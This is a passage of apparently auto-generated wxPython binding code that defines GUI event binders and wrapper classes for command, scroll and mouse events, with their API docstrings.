1)\nEVT_COMMAND_SCROLL_LINEDOWN = wx.PyEventBinder( wxEVT_SCROLL_LINEDOWN, 1)\nEVT_COMMAND_SCROLL_PAGEUP = wx.PyEventBinder( wxEVT_SCROLL_PAGEUP, 1)\nEVT_COMMAND_SCROLL_PAGEDOWN = wx.PyEventBinder( wxEVT_SCROLL_PAGEDOWN, 1)\nEVT_COMMAND_SCROLL_THUMBTRACK = wx.PyEventBinder( wxEVT_SCROLL_THUMBTRACK, 1)\nEVT_COMMAND_SCROLL_THUMBRELEASE = wx.PyEventBinder( wxEVT_SCROLL_THUMBRELEASE, 1)\nEVT_COMMAND_SCROLL_CHANGED = wx.PyEventBinder( wxEVT_SCROLL_CHANGED, 1)\nEVT_COMMAND_SCROLL_ENDSCROLL = EVT_COMMAND_SCROLL_CHANGED\n\nEVT_BUTTON = wx.PyEventBinder( wxEVT_COMMAND_BUTTON_CLICKED, 1)\nEVT_CHECKBOX = wx.PyEventBinder( wxEVT_COMMAND_CHECKBOX_CLICKED, 1)\nEVT_CHOICE = wx.PyEventBinder( wxEVT_COMMAND_CHOICE_SELECTED, 1)\nEVT_LISTBOX = wx.PyEventBinder( wxEVT_COMMAND_LISTBOX_SELECTED, 1)\nEVT_LISTBOX_DCLICK = wx.PyEventBinder( wxEVT_COMMAND_LISTBOX_DOUBLECLICKED, 1)\nEVT_MENU = wx.PyEventBinder( wxEVT_COMMAND_MENU_SELECTED, 1)\nEVT_MENU_RANGE = wx.PyEventBinder( wxEVT_COMMAND_MENU_SELECTED, 2)\nEVT_SLIDER = wx.PyEventBinder( wxEVT_COMMAND_SLIDER_UPDATED, 1)\nEVT_RADIOBOX = wx.PyEventBinder( wxEVT_COMMAND_RADIOBOX_SELECTED, 1)\nEVT_RADIOBUTTON = wx.PyEventBinder( wxEVT_COMMAND_RADIOBUTTON_SELECTED, 1)\n\nEVT_SCROLLBAR = wx.PyEventBinder( wxEVT_COMMAND_SCROLLBAR_UPDATED, 1)\nEVT_VLBOX = wx.PyEventBinder( wxEVT_COMMAND_VLBOX_SELECTED, 1)\nEVT_COMBOBOX = wx.PyEventBinder( wxEVT_COMMAND_COMBOBOX_SELECTED, 1)\nEVT_TOOL = wx.PyEventBinder( wxEVT_COMMAND_TOOL_CLICKED, 1)\nEVT_TOOL_RANGE = wx.PyEventBinder( wxEVT_COMMAND_TOOL_CLICKED, 2)\nEVT_TOOL_RCLICKED = wx.PyEventBinder( wxEVT_COMMAND_TOOL_RCLICKED, 1)\nEVT_TOOL_RCLICKED_RANGE = wx.PyEventBinder( wxEVT_COMMAND_TOOL_RCLICKED, 2)\nEVT_TOOL_ENTER = wx.PyEventBinder( wxEVT_COMMAND_TOOL_ENTER, 1)\nEVT_CHECKLISTBOX = wx.PyEventBinder( wxEVT_COMMAND_CHECKLISTBOX_TOGGLED, 1)\n\n\nEVT_COMMAND_LEFT_CLICK = wx.PyEventBinder( wxEVT_COMMAND_LEFT_CLICK, 1)\nEVT_COMMAND_LEFT_DCLICK = wx.PyEventBinder( wxEVT_COMMAND_LEFT_DCLICK, 1)\nEVT_COMMAND_RIGHT_CLICK = wx.PyEventBinder( wxEVT_COMMAND_RIGHT_CLICK, 1)\nEVT_COMMAND_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_COMMAND_RIGHT_DCLICK, 1)\nEVT_COMMAND_SET_FOCUS = wx.PyEventBinder( wxEVT_COMMAND_SET_FOCUS, 1)\nEVT_COMMAND_KILL_FOCUS = wx.PyEventBinder( wxEVT_COMMAND_KILL_FOCUS, 1)\nEVT_COMMAND_ENTER = wx.PyEventBinder( wxEVT_COMMAND_ENTER, 1)\n\nEVT_IDLE = wx.PyEventBinder( wxEVT_IDLE )\n\nEVT_UPDATE_UI = wx.PyEventBinder( wxEVT_UPDATE_UI, 1)\nEVT_UPDATE_UI_RANGE = wx.PyEventBinder( wxEVT_UPDATE_UI, 2)\n\nEVT_CONTEXT_MENU = wx.PyEventBinder( wxEVT_CONTEXT_MENU )\n\nEVT_TEXT_CUT = wx.PyEventBinder( wxEVT_COMMAND_TEXT_CUT )\nEVT_TEXT_COPY = wx.PyEventBinder( wxEVT_COMMAND_TEXT_COPY )\nEVT_TEXT_PASTE = wx.PyEventBinder( wxEVT_COMMAND_TEXT_PASTE )\n\n\n#---------------------------------------------------------------------------\n\nclass Event(Object):\n \"\"\"\n An event is a structure holding information about an event passed to a\n callback or member function. wx.Event is an abstract base class for\n other event classes\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_Event\n __del__ = lambda self : None;\n def SetEventType(*args, **kwargs):\n \"\"\"\n SetEventType(self, EventType typ)\n\n Sets the specific type of the event.\n \"\"\"\n return _core_.Event_SetEventType(*args, **kwargs)\n\n def GetEventType(*args, **kwargs):\n \"\"\"\n GetEventType(self) -> EventType\n\n Returns the identifier of the given event type, such as\n ``wxEVT_COMMAND_BUTTON_CLICKED``.\n \"\"\"\n return _core_.Event_GetEventType(*args, **kwargs)\n\n def GetEventObject(*args, **kwargs):\n \"\"\"\n GetEventObject(self) -> Object\n\n Returns the object (usually a window) associated with the event, if\n any.\n \"\"\"\n return _core_.Event_GetEventObject(*args, **kwargs)\n\n def SetEventObject(*args, **kwargs):\n \"\"\"\n SetEventObject(self, Object obj)\n\n Sets the originating object, or in other words, obj is normally the\n object that is sending the event.\n \"\"\"\n return _core_.Event_SetEventObject(*args, **kwargs)\n\n def GetTimestamp(*args, **kwargs):\n \"\"\"GetTimestamp(self) -> long\"\"\"\n return _core_.Event_GetTimestamp(*args, **kwargs)\n\n def SetTimestamp(*args, **kwargs):\n \"\"\"SetTimestamp(self, long ts=0)\"\"\"\n return _core_.Event_SetTimestamp(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"\n GetId(self) -> int\n\n Returns the identifier associated with this event, such as a button\n command id.\n \"\"\"\n return _core_.Event_GetId(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"\n SetId(self, int Id)\n\n Set's the ID for the event. This is usually the ID of the window that\n is sending the event, but it can also be a command id from a menu\n item, etc.\n \"\"\"\n return _core_.Event_SetId(*args, **kwargs)\n\n def IsCommandEvent(*args, **kwargs):\n \"\"\"\n IsCommandEvent(self) -> bool\n\n Returns true if the event is or is derived from `wx.CommandEvent` else\n it returns false. Note: Exists only for optimization purposes.\n \"\"\"\n return _core_.Event_IsCommandEvent(*args, **kwargs)\n\n def Skip(*args, **kwargs):\n \"\"\"\n Skip(self, bool skip=True)\n\n This method can be used inside an event handler to control whether\n further event handlers bound to this event will be called after the\n current one returns. Without Skip() (or equivalently if Skip(False) is\n used), the event will not be processed any more. If Skip(True) is\n called, the event processing system continues searching for a further\n handler function for this event, even though it has been processed\n already in the current handler.\n \"\"\"\n return _core_.Event_Skip(*args, **kwargs)\n\n def GetSkipped(*args, **kwargs):\n \"\"\"\n GetSkipped(self) -> bool\n\n Returns true if the event handler should be skipped, false otherwise.\n :see: `Skip`\n \"\"\"\n return _core_.Event_GetSkipped(*args, **kwargs)\n\n def ShouldPropagate(*args, **kwargs):\n \"\"\"\n ShouldPropagate(self) -> bool\n\n Test if this event should be propagated to the parent window or not,\n i.e. if the propagation level is currently greater than 0.\n \"\"\"\n return _core_.Event_ShouldPropagate(*args, **kwargs)\n\n def StopPropagation(*args, **kwargs):\n \"\"\"\n StopPropagation(self) -> int\n\n Stop the event from propagating to its parent window. Returns the old\n propagation level value which may be later passed to\n `ResumePropagation` to allow propagating the event again.\n \"\"\"\n return _core_.Event_StopPropagation(*args, **kwargs)\n\n def ResumePropagation(*args, **kwargs):\n \"\"\"\n ResumePropagation(self, int propagationLevel)\n\n Resume the event propagation by restoring the propagation level. (For\n example, you can use the value returned by an earlier call to\n `StopPropagation`.)\n\n \"\"\"\n return _core_.Event_ResumePropagation(*args, **kwargs)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> Event\"\"\"\n return _core_.Event_Clone(*args, **kwargs)\n\n EventObject = property(GetEventObject,SetEventObject,doc=\"See `GetEventObject` and `SetEventObject`\") \n EventType = property(GetEventType,SetEventType,doc=\"See `GetEventType` and `SetEventType`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n Skipped = property(GetSkipped,doc=\"See `GetSkipped`\") \n Timestamp = property(GetTimestamp,SetTimestamp,doc=\"See `GetTimestamp` and `SetTimestamp`\") \n_core_.Event_swigregister(Event)\n\n#---------------------------------------------------------------------------\n\nclass PropagationDisabler(object):\n \"\"\"\n Helper class to temporarily change an event not to propagate. Simply\n create an instance of this class and then whe it is destroyed the\n propogation of the event will be restored.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Event event) -> PropagationDisabler\n\n Helper class to temporarily change an event not to propagate. Simply\n create an instance of this class and then whe it is destroyed the\n propogation of the event will be restored.\n \"\"\"\n _core_.PropagationDisabler_swiginit(self,_core_.new_PropagationDisabler(*args, **kwargs))\n __swig_destroy__ = _core_.delete_PropagationDisabler\n __del__ = lambda self : None;\n_core_.PropagationDisabler_swigregister(PropagationDisabler)\n\nclass PropagateOnce(object):\n \"\"\"\n A helper class that will temporarily lower propagation level of an\n event. Simply create an instance of this class and then whe it is\n destroyed the propogation of the event will be restored.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Event event) -> PropagateOnce\n\n A helper class that will temporarily lower propagation level of an\n event. Simply create an instance of this class and then whe it is\n destroyed the propogation of the event will be restored.\n \"\"\"\n _core_.PropagateOnce_swiginit(self,_core_.new_PropagateOnce(*args, **kwargs))\n __swig_destroy__ = _core_.delete_PropagateOnce\n __del__ = lambda self : None;\n_core_.PropagateOnce_swigregister(PropagateOnce)\n\n#---------------------------------------------------------------------------\n\nclass CommandEvent(Event):\n \"\"\"\n This event class contains information about command events, which\n originate from a variety of simple controls, as well as menus and\n toolbars.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int winid=0) -> CommandEvent\n\n This event class contains information about command events, which\n originate from a variety of simple controls, as well as menus and\n toolbars.\n \"\"\"\n _core_.CommandEvent_swiginit(self,_core_.new_CommandEvent(*args, **kwargs))\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection(self) -> int\n\n Returns item index for a listbox or choice selection event (not valid\n for a deselection).\n \"\"\"\n return _core_.CommandEvent_GetSelection(*args, **kwargs)\n\n def SetString(*args, **kwargs):\n \"\"\"SetString(self, String s)\"\"\"\n return _core_.CommandEvent_SetString(*args, **kwargs)\n\n def GetString(*args, **kwargs):\n \"\"\"\n GetString(self) -> String\n\n Returns item string for a listbox or choice selection event (not valid\n for a deselection).\n \"\"\"\n return _core_.CommandEvent_GetString(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"\n IsChecked(self) -> bool\n\n This method can be used with checkbox and menu events: for the\n checkboxes, the method returns true for a selection event and false\n for a deselection one. For the menu events, this method indicates if\n the menu item just has become checked or unchecked (and thus only\n makes sense for checkable menu items).\n \"\"\"\n return _core_.CommandEvent_IsChecked(*args, **kwargs)\n\n Checked = IsChecked \n def IsSelection(*args, **kwargs):\n \"\"\"\n IsSelection(self) -> bool\n\n For a listbox or similar event, returns true if it is a selection,\n false if it is a deselection.\n \"\"\"\n return _core_.CommandEvent_IsSelection(*args, **kwargs)\n\n def SetExtraLong(*args, **kwargs):\n \"\"\"SetExtraLong(self, long extraLong)\"\"\"\n return _core_.CommandEvent_SetExtraLong(*args, **kwargs)\n\n def GetExtraLong(*args, **kwargs):\n \"\"\"\n GetExtraLong(self) -> long\n\n Returns extra information dependant on the event objects type. If the\n event comes from a listbox selection, it is a boolean determining\n whether the event was a selection (true) or a deselection (false). A\n listbox deselection only occurs for multiple-selection boxes, and in\n this case the index and string values are indeterminate and the\n listbox must be examined by the application.\n \"\"\"\n return _core_.CommandEvent_GetExtraLong(*args, **kwargs)\n\n def SetInt(*args, **kwargs):\n \"\"\"SetInt(self, int i)\"\"\"\n return _core_.CommandEvent_SetInt(*args, **kwargs)\n\n def GetInt(*args, **kwargs):\n \"\"\"\n GetInt(self) -> int\n\n Returns the integer identifier corresponding to a listbox, choice or\n radiobox selection (only if the event was a selection, not a\n deselection), or a boolean value representing the value of a checkbox.\n \"\"\"\n return _core_.CommandEvent_GetInt(*args, **kwargs)\n\n def GetClientData(*args, **kwargs):\n \"\"\"\n GetClientData(self) -> PyObject\n\n Returns the client data object for a listbox or choice selection event, (if any.)\n \"\"\"\n return _core_.CommandEvent_GetClientData(*args, **kwargs)\n\n def SetClientData(*args, **kwargs):\n \"\"\"\n SetClientData(self, PyObject clientData)\n\n Associate the given client data with the item at position n.\n \"\"\"\n return _core_.CommandEvent_SetClientData(*args, **kwargs)\n\n GetClientObject = GetClientData\n SetClientObject = SetClientData\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> Event\"\"\"\n return _core_.CommandEvent_Clone(*args, **kwargs)\n\n ClientData = property(GetClientData,SetClientData,doc=\"See `GetClientData` and `SetClientData`\") \n ClientObject = property(GetClientObject,SetClientObject,doc=\"See `GetClientObject` and `SetClientObject`\") \n ExtraLong = property(GetExtraLong,SetExtraLong,doc=\"See `GetExtraLong` and `SetExtraLong`\") \n Int = property(GetInt,SetInt,doc=\"See `GetInt` and `SetInt`\") \n Selection = property(GetSelection,doc=\"See `GetSelection`\") \n String = property(GetString,SetString,doc=\"See `GetString` and `SetString`\") \n_core_.CommandEvent_swigregister(CommandEvent)\n\n#---------------------------------------------------------------------------\n\nclass NotifyEvent(CommandEvent):\n \"\"\"\n An instance of this class (or one of its derived classes) is sent from\n a control when the control's state is being changed and the control\n allows that change to be prevented from happening. The event handler\n can call `Veto` or `Allow` to tell the control what to do.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int winid=0) -> NotifyEvent\n\n An instance of this class (or one of its derived classes) is sent from\n a control when the control's state is being changed and the control\n allows that change to be prevented from happening. The event handler\n can call `Veto` or `Allow` to tell the control what to do.\n \"\"\"\n _core_.NotifyEvent_swiginit(self,_core_.new_NotifyEvent(*args, **kwargs))\n def Veto(*args, **kwargs):\n \"\"\"\n Veto(self)\n\n Prevents the change announced by this event from happening.\n\n It is in general a good idea to notify the user about the reasons for\n vetoing the change because otherwise the applications behaviour (which\n just refuses to do what the user wants) might be quite surprising.\n \"\"\"\n return _core_.NotifyEvent_Veto(*args, **kwargs)\n\n def Allow(*args, **kwargs):\n \"\"\"\n Allow(self)\n\n This is the opposite of `Veto`: it explicitly allows the event to be\n processed. For most events it is not necessary to call this method as\n the events are allowed anyhow but some are forbidden by default (this\n will be mentioned in the corresponding event description).\n \"\"\"\n return _core_.NotifyEvent_Allow(*args, **kwargs)\n\n def IsAllowed(*args, **kwargs):\n \"\"\"\n IsAllowed(self) -> bool\n\n Returns true if the change is allowed (`Veto` hasn't been called) or\n false otherwise (if it was).\n \"\"\"\n return _core_.NotifyEvent_IsAllowed(*args, **kwargs)\n\n_core_.NotifyEvent_swigregister(NotifyEvent)\n\n#---------------------------------------------------------------------------\n\nclass ScrollEvent(CommandEvent):\n \"\"\"\n A scroll event holds information about events sent from stand-alone\n scrollbars and sliders. Note that scrolled windows do not send\n instances of this event class, but send the `wx.ScrollWinEvent`\n instead.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int winid=0, int pos=0, \n int orient=0) -> ScrollEvent\n \"\"\"\n _core_.ScrollEvent_swiginit(self,_core_.new_ScrollEvent(*args, **kwargs))\n def GetOrientation(*args, **kwargs):\n \"\"\"\n GetOrientation(self) -> int\n\n Returns wx.HORIZONTAL or wx.VERTICAL, depending on the orientation of\n the scrollbar.\n \"\"\"\n return _core_.ScrollEvent_GetOrientation(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> int\n\n Returns the position of the scrollbar.\n \"\"\"\n return _core_.ScrollEvent_GetPosition(*args, **kwargs)\n\n def SetOrientation(*args, **kwargs):\n \"\"\"SetOrientation(self, int orient)\"\"\"\n return _core_.ScrollEvent_SetOrientation(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, int pos)\"\"\"\n return _core_.ScrollEvent_SetPosition(*args, **kwargs)\n\n Orientation = property(GetOrientation,SetOrientation,doc=\"See `GetOrientation` and `SetOrientation`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n_core_.ScrollEvent_swigregister(ScrollEvent)\n\n#---------------------------------------------------------------------------\n\nclass ScrollWinEvent(Event):\n \"\"\"\n A wx.ScrollWinEvent holds information about scrolling and is sent from\n scrolling windows.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int pos=0, int orient=0) -> ScrollWinEvent\n\n A wx.ScrollWinEvent holds information about scrolling and is sent from\n scrolling windows.\n \"\"\"\n _core_.ScrollWinEvent_swiginit(self,_core_.new_ScrollWinEvent(*args, **kwargs))\n def GetOrientation(*args, **kwargs):\n \"\"\"\n GetOrientation(self) -> int\n\n Returns wx.HORIZONTAL or wx.VERTICAL, depending on the orientation of\n the scrollbar.\n \"\"\"\n return _core_.ScrollWinEvent_GetOrientation(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> int\n\n Returns the position of the scrollbar for the thumb track and release\n events. Note that this field can't be used for the other events, you\n need to query the window itself for the current position in that case.\n \"\"\"\n return _core_.ScrollWinEvent_GetPosition(*args, **kwargs)\n\n def SetOrientation(*args, **kwargs):\n \"\"\"SetOrientation(self, int orient)\"\"\"\n return _core_.ScrollWinEvent_SetOrientation(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, int pos)\"\"\"\n return _core_.ScrollWinEvent_SetPosition(*args, **kwargs)\n\n Orientation = property(GetOrientation,SetOrientation,doc=\"See `GetOrientation` and `SetOrientation`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n_core_.ScrollWinEvent_swigregister(ScrollWinEvent)\n\n#---------------------------------------------------------------------------\n\nMOUSE_BTN_ANY = _core_.MOUSE_BTN_ANY\nMOUSE_BTN_NONE = _core_.MOUSE_BTN_NONE\nMOUSE_BTN_LEFT = _core_.MOUSE_BTN_LEFT\nMOUSE_BTN_MIDDLE = _core_.MOUSE_BTN_MIDDLE\nMOUSE_BTN_RIGHT = _core_.MOUSE_BTN_RIGHT\nclass MouseEvent(Event):\n \"\"\"\n This event class contains information about the events generated by\n the mouse: they include mouse buttons press and release events and\n mouse move events.\n\n All mouse events involving the buttons use ``wx.MOUSE_BTN_LEFT`` for\n the left mouse button, ``wx.MOUSE_BTN_MIDDLE`` for the middle one and\n ``wx.MOUSE_BTN_RIGHT`` for the right one. Note that not all mice have\n a middle button so a portable application should avoid relying on the\n events from it.\n\n Note the difference between methods like `LeftDown` and `LeftIsDown`:\n the former returns true when the event corresponds to the left mouse\n button click while the latter returns true if the left mouse button is\n currently being pressed. For example, when the user is dragging the\n mouse you can use `LeftIsDown` to test whether the left mouse button\n is (still) depressed. Also, by convention, if `LeftDown` returns true,\n `LeftIsDown` will also return true in wxWidgets whatever the\n underlying GUI behaviour is (which is platform-dependent). The same\n applies, of course, to other mouse buttons as well.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType mouseType=wxEVT_NULL) -> MouseEvent\n\n Constructs a wx.MouseEvent. Valid event types are:\n\n * wxEVT_ENTER_WINDOW\n * wxEVT_LEAVE_WINDOW\n * wxEVT_LEFT_DOWN\n * wxEVT_LEFT_UP\n * wxEVT_LEFT_DCLICK\n * wxEVT_MIDDLE_DOWN\n * wxEVT_MIDDLE_UP\n * wxEVT_MIDDLE_DCLICK\n * wxEVT_RIGHT_DOWN\n * wxEVT_RIGHT_UP\n * wxEVT_RIGHT_DCLICK\n * wxEVT_MOTION\n * wxEVT_MOUSEWHEEL \n \"\"\"\n _core_.MouseEvent_swiginit(self,_core_.new_MouseEvent(*args, **kwargs))\n def IsButton(*args, **kwargs):\n \"\"\"\n IsButton(self) -> bool\n\n Returns true if the event was a mouse button event (not necessarily a\n button down event - that may be tested using `ButtonDown`).\n \"\"\"\n return _core_.MouseEvent_IsButton(*args, **kwargs)\n\n def ButtonDown(*args, **kwargs):\n \"\"\"\n ButtonDown(self, int but=MOUSE_BTN_ANY) -> bool\n\n If the argument is omitted, this returns true if the event was any\n mouse button down event. Otherwise the argument specifies which\n button-down event shold be checked for (see `Button` for the possible\n values).\n \"\"\"\n return _core_.MouseEvent_ButtonDown(*args, **kwargs)\n\n def ButtonDClick(*args, **kwargs):\n \"\"\"\n ButtonDClick(self, int but=MOUSE_BTN_ANY) -> bool\n\n If the argument is omitted, this returns true if the event was any\n mouse double click event. Otherwise the argument specifies which\n double click event to check for (see `Button` for the possible\n values).\n \"\"\"\n return _core_.MouseEvent_ButtonDClick(*args, **kwargs)\n\n def ButtonUp(*args, **kwargs):\n \"\"\"\n ButtonUp(self, int but=MOUSE_BTN_ANY) -> bool\n\n If the argument is omitted, this returns true if the event was any\n mouse button up event. Otherwise the argument specifies which button\n up event to check for (see `Button` for the possible values).\n \"\"\"\n return _core_.MouseEvent_ButtonUp(*args, **kwargs)\n\n def Button(*args, **kwargs):\n \"\"\"\n Button(self, int button) -> bool\n\n Returns true if the identified mouse button is changing state. Valid\n values of button are:\n\n ==================== =====================================\n wx.MOUSE_BTN_LEFT check if left button was pressed\n wx.MOUSE_BTN_MIDDLE check if middle button was pressed\n wx.MOUSE_BTN_RIGHT check if right button was pressed\n wx.MOUSE_BTN_ANY check if any button was pressed\n ==================== =====================================\n\n \"\"\"\n return _core_.MouseEvent_Button(*args, **kwargs)\n\n def ButtonIsDown(*args, **kwargs):\n \"\"\"ButtonIsDown(self, int but) -> bool\"\"\"\n return _core_.MouseEvent_ButtonIsDown(*args, **kwargs)\n\n def GetButton(*args, **kwargs):\n \"\"\"\n GetButton(self) -> int\n\n Returns the mouse button which generated this event or\n wx.MOUSE_BTN_NONE if no button is involved (for mouse move, enter or\n leave event, for example). Otherwise wx.MOUSE_BTN_LEFT is returned for\n the left button down, up and double click events, wx.MOUSE_BTN_MIDDLE\n and wx.MOUSE_BTN_RIGHT for the same events for the middle and the\n right buttons respectively.\n \"\"\"\n return _core_.MouseEvent_GetButton(*args, **kwargs)\n\n def ControlDown(*args, **kwargs):\n \"\"\"\n ControlDown(self) -> bool\n\n Returns true if the control key was down at the time of the event.\n \"\"\"\n return _core_.MouseEvent_ControlDown(*args, **kwargs)\n\n def MetaDown(*args, **kwargs):\n \"\"\"\n MetaDown(self) -> bool\n\n Returns true if the Meta key was down at the time of the event.\n \"\"\"\n return _core_.MouseEvent_MetaDown(*args, **kwargs)\n\n def AltDown(*args, **kwargs):\n \"\"\"\n AltDown(self) -> bool\n\n Returns true if the Alt key was down at the time of the event.\n \"\"\"\n return _core_.MouseEvent_AltDown(*args, **kwargs)\n\n def ShiftDown(*args, **kwargs):\n \"\"\"\n ShiftDown(self) -> bool\n\n Returns true if the Shift key was down at the time of the event.\n \"\"\"\n return _core_.MouseEvent_ShiftDown(*args, **kwargs)\n\n def CmdDown(*args, **kwargs):\n \"\"\"\n CmdDown(self) -> bool\n\n \"Cmd\" is a pseudo key which is the same as Control for PC and Unix\n platforms but the special \"Apple\" (a.k.a as \"Command\") key on\n Macs. It often makes sense to use it instead of, say, `ControlDown`\n because Cmd key is used for the same thing under Mac as Ctrl\n elsewhere. The Ctrl key still exists, it's just not used for this\n purpose. So for non-Mac platforms this is the same as `ControlDown`\n and Macs this is the same as `MetaDown`.\n \"\"\"\n return _core_.MouseEvent_CmdDown(*args, **kwargs)\n\n def LeftDown(*args, **kwargs):\n \"\"\"\n LeftDown(self) -> bool\n\n Returns true if the left mouse button state changed to down.\n \"\"\"\n return _core_.MouseEvent_LeftDown(*args, **kwargs)\n\n def MiddleDown(*args, **kwargs):\n \"\"\"\n MiddleDown(self) -> bool\n\n Returns true if the middle mouse button state changed to down.\n \"\"\"\n return _core_.MouseEvent_MiddleDown(*args, **kwargs)\n\n def RightDown(*args, **kwargs):\n \"\"\"\n RightDown(self) -> bool\n\n Returns true if the right mouse button state changed to down.\n \"\"\"\n return _core_.MouseEvent_RightDown(*args, **kwargs)\n\n def LeftUp(*args, **kwargs):\n \"\"\"\n LeftUp(self) -> bool\n\n Returns true if the left mouse button state changed to up.\n \"\"\"\n return _core_.MouseEvent_LeftUp(*args, **kwargs)\n\n def MiddleUp(*args, **kwargs):\n \"\"\"\n MiddleUp(self) -> bool\n\n Returns true if the middle mouse button state changed to up.\n \"\"\"\n return _core_.MouseEvent_MiddleUp(*args, **kwargs)\n\n def RightUp(*args, **kwargs):\n \"\"\"\n RightUp(self) -> bool\n\n Returns true if the right mouse button state changed to up.\n \"\"\"\n return _core_.MouseEvent_RightUp(*args, **kwargs)\n\n def LeftDClick(*args, **kwargs):\n \"\"\"\n LeftDClick(self) -> bool\n\n Returns true if the event was a left button double click.\n \"\"\"\n return _core_.MouseEvent_LeftDClick(*args, **kwargs)\n\n def MiddleDClick(*args, **kwargs):\n \"\"\"\n MiddleDClick(self) -> bool\n\n Returns true if the event was a middle button double click.\n \"\"\"\n return _core_.MouseEvent_MiddleDClick(*args, **kwargs)\n\n def RightDClick(*args, **kwargs):\n \"\"\"\n RightDClick(self) -> bool\n\n Returns true if the event was a right button double click.\n \"\"\"\n return _core_.MouseEvent_RightDClick(*args, **kwargs)\n\n def LeftIsDown(*args, **kwargs):\n \"\"\"\n LeftIsDown(self) -> bool\n\n Returns true if the left mouse button is currently down, independent\n of the current event type.\n\n Please notice that it is not the same as LeftDown which returns true\n if the left mouse button was just pressed. Rather, it describes the\n state of the mouse button before the event happened.\n\n This event is usually used in the mouse event handlers which process\n \"move mouse\" messages to determine whether the user is (still)\n dragging the mouse.\n \"\"\"\n return _core_.MouseEvent_LeftIsDown(*args, **kwargs)\n\n def MiddleIsDown(*args, **kwargs):\n \"\"\"\n MiddleIsDown(self) -> bool\n\n Returns true if the middle mouse button is currently down, independent\n of the current event type.\n \"\"\"\n return _core_.MouseEvent_MiddleIsDown(*args, **kwargs)\n\n def RightIsDown(*args, **kwargs):\n \"\"\"\n RightIsDown(self) -> bool\n\n Returns true if the right mouse button is currently down, independent\n of the current event type.\n \"\"\"\n return _core_.MouseEvent_RightIsDown(*args, **kwargs)\n\n def Dragging(*args, **kwargs):\n \"\"\"\n Dragging(self) -> bool\n\n Returns true if this was a dragging event (motion while a button is\n depressed).\n \"\"\"\n return _core_.MouseEvent_Dragging(*args, **kwargs)\n\n def Moving(*args, **kwargs):\n \"\"\"\n Moving(self) -> bool\n\n Returns true if this was a motion event and no mouse buttons were\n pressed. If any mouse button is held pressed, then this method returns\n false and Dragging returns true.\n \"\"\"\n return _core_.MouseEvent_Moving(*args, **kwargs)\n\n def Entering(*args, **kwargs):\n \"\"\"\n Entering(self) -> bool\n\n Returns true if the mouse was entering the window.\n \"\"\"\n return _core_.MouseEvent_Entering(*args, **kwargs)\n\n def Leaving(*args, **kwargs):\n \"\"\"\n Leaving(self) -> bool\n\n Returns true if the mouse was leaving the window.\n \"\"\"\n return _core_.MouseEvent_Leaving(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the pixel position of the mouse in window coordinates when the\n event happened.\n \"\"\"\n return _core_.MouseEvent_GetPosition(*args, **kwargs)\n\n def GetPositionTuple(*args, **kwargs):\n \"\"\"\n GetPositionTuple() -> (x,y)\n\n Returns the pixel position of the mouse in window coordinates when the\n event happened.\n \"\"\"\n return _core_.MouseEvent_GetPositionTuple(*args, **kwargs)\n\n def GetLogicalPosition(*args, **kwargs):\n \"\"\"\n GetLogicalPosition(self, DC dc) -> Point\n\n Returns the logical mouse position in pixels (i.e. translated\n according to the translation set for the DC, which usually indicates\n that the window has been scrolled).\n \"\"\"\n return _core_.MouseEvent_GetLogicalPosition(*args, **kwargs)\n\n def GetX(*args, **kwargs):\n \"\"\"\n GetX(self) -> int\n\n Returns X coordinate of the physical mouse event position.\n \"\"\"\n return _core_.MouseEvent_GetX(*args, **kwargs)\n\n def GetY(*args, **kwargs):\n \"\"\"\n GetY(self) -> int\n\n Returns Y coordinate of the physical mouse event position.\n \"\"\"\n return _core_.MouseEvent_GetY(*args, **kwargs)\n\n def GetWheelRotation(*args, **kwargs):\n \"\"\"\n GetWheelRotation(self) -> int\n\n Get wheel rotation, positive or negative indicates direction of\n rotation. Current devices all send an event when rotation is equal to\n +/-WheelDelta, but this allows for finer resolution devices to be\n created in the 